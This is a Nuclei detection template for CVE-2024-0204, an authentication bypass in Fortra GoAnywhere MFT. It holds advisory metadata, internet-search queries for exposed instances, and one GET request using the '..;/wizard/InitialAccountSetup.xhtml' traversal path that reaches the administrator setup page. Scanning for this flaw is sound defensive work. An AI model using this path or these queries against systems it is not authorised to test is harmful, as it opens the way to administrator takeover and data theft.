id: CVE-2024-0204

info:
  name: Fortra GoAnywhere MFT - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    Authentication bypass in Fortra's GoAnywhere MFT prior to 7.4.1 allows an unauthorized user to create an admin user via the administration portal.
  impact: |
    Unauthenticated attackers can bypass authentication to create administrator accounts, leading to complete control over the GoAnywhere MFT system and access to all managed file transfers and sensitive data.
  remediation: |
    Upgrade to Fortra GoAnywhere MFT version 7.4.1 or later.
  reference:
    - https://my.goanywhere.com/webclient/ViewSecurityAdvisories.xhtml
    - https://www.fortra.com/security/advisory/fi-2024-001
    - https://github.com/horizon3ai/CVE-2024-0204/blob/main/CVE-2024-0204.py
    - https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/
    - http://packetstormsecurity.com/files/176683/GoAnywhere-MFT-Authentication-Bypass.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0204
    cwe-id: CWE-425
    epss-score: 0.95086
    epss-percentile: 0.99855
    cpe: cpe:2.3:a:fortra:goanywhere_managed_file_transfer:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fortra
    product: goanywhere_managed_file_transfer
    shodan-query:
      - http.favicon.hash:1484947000,1828756398,1170495932
      - http.favicon.hash:1484947000
    fofa-query:
      - app="GoAnywhere-MFT"
      - icon_hash=1484947000
      - icon_hash=1484947000,1828756398,1170495932
      - app="goanywhere-mft"
    zoomeye-query: app="Fortra GoAnywhere-MFT"
  tags: packetstorm,cve,cve2024,auth-bypass,goanywhere,fortra,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Create an administrator account"
          - "goanywhere"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022057bd18e230d4b93119f5e2d8c9aec1bedea4e22b35145222c8e56c6dad35c25902206787d3aacf05f6a228d1c0fecb48f9947763690db85784f3f6ebcc1ca0832643:922c64590222798bb761d5b6d8e72950